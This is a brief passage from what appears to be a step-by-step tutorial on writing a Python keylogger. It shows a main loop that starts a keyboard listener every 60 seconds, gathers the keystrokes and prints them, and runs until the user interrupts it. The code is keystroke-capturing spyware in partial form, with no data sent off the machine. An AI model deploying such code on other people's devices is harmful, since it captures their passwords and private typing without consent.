Infinitely Loop

Infinitely Loop

Let’s infinitely loop in the main method:

if __name__ == "__main__":
    while True:
        log = []
        listener = keyboard.Listener(on_press=on_press)
        listener.start()
        sleep(60)
        listener.stop()
        print("".join(log))

Validation

Infinite Loop Output

The logger only stops when the process initiated by the script is sent an interrupt signal (ctrl+c).

Source Code Snapshot

GitHub repo at this point in time